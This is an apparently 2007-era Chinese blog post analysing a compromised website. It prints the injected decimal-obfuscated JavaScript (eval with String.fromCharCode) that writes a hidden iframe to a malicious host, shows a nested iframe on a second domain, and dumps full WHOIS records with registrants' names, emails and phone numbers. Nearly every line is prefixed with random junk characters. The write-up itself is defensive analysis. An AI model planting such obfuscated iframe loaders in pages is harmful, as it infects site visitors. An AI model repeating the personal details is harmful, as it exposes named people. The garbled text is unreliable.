首发在我的博客里面，
^} tL nF ?&XzW+(X http://www.areway.cn/?p=175 @N]5& 4NL (A2U~j?Ry} 5W|u5AIw 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
d~ 3GV(M %5` r-F <script>t=’60,105,102,114,97,109,101,
)'=V!H#U* 32,115,114,99,61,104,116,116,112,58,47,47,
kO jEY 102,114,101,101,46,117,45,117,117,117,46,99,
htQ;m)>J: 110,47,101,114,114,111,114,46,104,116,109,
gfx oJihE 32,119,105,100,116,104,61,49,48,48,32,104,
i>WOYI9 101,105,103,104,116,61,48,62,60,47,105,102,
-S`TEX
114,97,109,101,62′;
aQxe) t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
:82?'aR \I:UC
% <script>t=’60,105,102,114,97,109,101,32,115,
OX`?<@6 114,99,61,104,116,116,112,58,47,47,102,114,
;r%<2( 101,101,46,117,45,117,117,117,46,99,110,47,
n}+wd9J*!2 101,114,114,111,114,46,104,116,109,32,119,
}Z^FEd"y 105,100,116,104,61,49,48,48,32,104,101,105,
l'W3=,G[? 103,104,116,61,48,62,60,47,105,102,114,97,
:l4^iSf 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
gZ1N&/9; document.write(t);</script>
#&}%70R ) gYRq qV <html xmlns=”
Pu1GCr( http://www.w3.org/1999/xhtml )_X;9% L7 “>
vY4WQbz( <head>
#j\*Lc"Ur: <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
%f_FGh <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
]~$c~*0g <title>首页 - 爱生活家庭网
3&O% & )~1 .<((< 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
~WzMK 转换字符串后的大概内容是（谁点击后果自付）：
SnH:(tO[X <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
loml.e=87 aeLBaS 查询玉米u-uuu.cn的详细信息：
"r:H5) ! Domain Name: u-uuu.cn
|: ~("rA+v ROID: 20070901s10001s64972306-cn
unx;m$-c Domain Status: ok
PY[S z=[ Registrant Organization: 王雷
w2.qT+; v Registrant Name: 王雷
8 [vl3C Administrative Email:
czlovexs@126.com TXA . 6e Sponsoring Registrar: 北京万网志成科技有限公司
YhEiN. ~ Name Server:ns.yovole.com
Iz 1*4@ Name Server:ns1.yovole.com
FEge+`{, Registration Date: 2007-09-01 17:54
wa9'2a1? Expiration Date: 2008-09-01 17:54
]|H]9mys98 最后PING了一下地址 都没有什么….
?, .HA@T% E !:.G+SEl 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
aa%Yk" V @ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
dY/|/eOt<K <script language=”javascript” src=”
:_W 0Af09 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ,{#RrF e >
}Z~pfm_S 这个玉米应该有可能是木马作者的：
=e"H1^Ml foafau.info的详细信息：
%#[r_QQ^ Access to INFO WHOIS information is provided to assist persons in
1^n5CI|7u determining the contents of a domain name registration record in the
8Cf ^$
Afilias registry database. The data in this record is provided by
|;x fe"] Afilias Limited for informational purposes only, and Afilias does not
g?k#wj1uH guarantee its accuracy. This service is intended only for query-based
nPQZI6> access. You agree that you will use this data only for lawful purposes
YzforM^F and that, under no circumstances will you use this data to: (a) allow,
r4]hS`X~% enable, or otherwise support the transmission by e-mail, telephone, or
k1~nd=p facsimile of mass unsolicited, commercial advertising or solicitations
+z~ !#j4Q to entities other than the data recipient’s own existing customers; or
#n6FQ$l8m (b) enable high volume, automated, electronic processes that send
T%N~oa queries or data to the systems of Registry Operator, a Registrar, or
\i&vOH' Afilias except as reasonably necessary to register domain names or
4 ]|9!=\
modify existing registrations. All rights reserved. Afilias reserves
A8A:@-e8A the right to modify these terms at any time. By submitting this query,
8 `R +y you agree to abide by this policy.
?=pZmvQg Domain ID:D22418703-LRMS
yg-L^`t+B5 Domain Name:FOAFAU.INFO
p @!@^1j= Created On:20-Nov-2007 16:05:42 UTC
^Yg|P&e(; Last Updated On:20-Nov-2007 16:05:44 UTC
8AC. 2 v?_ Expiration Date:20-Nov-2008 16:05:42 UTC
_E x*%Qf. Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
i-Ge *? Status:CLIENT DELETE PROHIBITED
Pp i- skT Status:CLIENT RENEW PROHIBITED
0|K/=dh5+ Status:CLIENT TRANSFER PROHIBITED
mE3SiR " Status:CLIENT UPDATE PROHIBITED
}uV? Status:TRANSFER PROHIBITED
K%aPl~e Registrant ID:GODA-040110615
5<:VJC< Registrant Name:liu hong
JsWq._O{/ Registrant Organization:
Nv*E .|G Registrant Street1:beijing
>yPFL' Registrant Street2:
3_R Registrant Street3:
#buV;!_!E? Registrant City:beijing
]iE.fQ?;J Registrant State/Province:
/z.7: <gZ( Registrant Postal Code:100000
:!Y?j{sG U Registrant Country:CN
JYVxdvq1 Registrant Phone:+86.860108888777
N c&i) qh Registrant Phone Ext.:
'!r+Tz Registrant FAX:
p'uqh
e X Registrant FAX Ext.:
g~$GE}, , Registrant Email:bbbshiji@163.com
+cE tm Admin ID:GODA-240110615
Zh fD`@>& Admin Name:liu hong
:+?W Admin Organization:
U`8^N.Snrp Admin Street1:beijing
I ]WeZ,E Admin Street2:
7/U<\(V!g Admin Street3:
JtrDZ;^@
Admin City:beijing
3Q! J9t5dc Admin State/Province:
q|]0on~ ] Admin Postal Code:100000
+{=_| 3( Admin Country:CN
7S~ 9E2N Admin Phone:+86.860108888777
DS,FVh".| Admin Phone Ext.:
DESV iQM Admin FAX:
D-b2E6 o6 Admin FAX Ext.:
+=B}R Admin Email:bbbshiji@163.com
~y-vKCp| Billing ID:GODA-340110615
tci%=3,) Billing Name:liu hong
d;NFkA(df Billing Organization:
]ZryY
EB Billing Street1:beijing
#@ \NdW\ Billing Street2:
\w0b"p Billing Street3:
x [ O#(^ q Billing City:beijing
rJc)< OZjT Billing State/Province:
% Dr4~7=7a Billing Postal Code:100000
;~gd<KK Billing Country:CN
Oih 2UrF Billing Phone:+86.860108888777
yzM+28}L<I Billing Phone Ext.:
]Re ~V{uh Billing FAX:
1f pS"_ } Billing FAX Ext.:
mP$G9R Billing Email:bbbshiji@163.com
x 1x j\O Tech ID:GODA-140110615
? m_R U Tech Name:liu hong
\#+2; L Tech Organization:
}fZ =T4r Tech Street1:beijing
Pq J* Tech Street2:
3!oQmG_T Tech Street3:
vb"dX0)< Tech City:beijing
va/4q+1GfH Tech State/Province:
FG5c:Ep Tech Postal Code:100000
)Y,?r[4{ Tech Country:CN
Va
|9)m Tech Phone:+86.860108888777
zyp"*0z Ur Tech Phone Ext.:
548 [! p4 Tech FAX:
n-b<vEZw# Tech FAX Ext.:
% 6hw Tech Email:bbbshiji@163.com
S_ -QvG2 Name Server:NS27.DOMAINCONTROL.COM
ME 10dr Name Server:NS28.DOMAINCONTROL.COM
`7qp\vYL Name Server:
/jn3'q_, Name Server:
>5@vY?QXO Name Server:
QH' [ ( Name Server:
j.'"CU Name Server:
&<P^Tvqq& Name Server:
Qdr-GODx Name Server:
J_[[BJ&}x Name Server:
5f*'wA Name Server:
,S0~:c:) Name Server:
h. (;GJO Name Server:
'iISbOM |o=\9 :wV 接着下载每个文件里面的代码：
nC!^,c 一步一步看..
aCi^^}! 
~B*\k^t` 
6p=x gk- q 
@oc%4~zl 
rD
U6 5j 
0G\myv 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
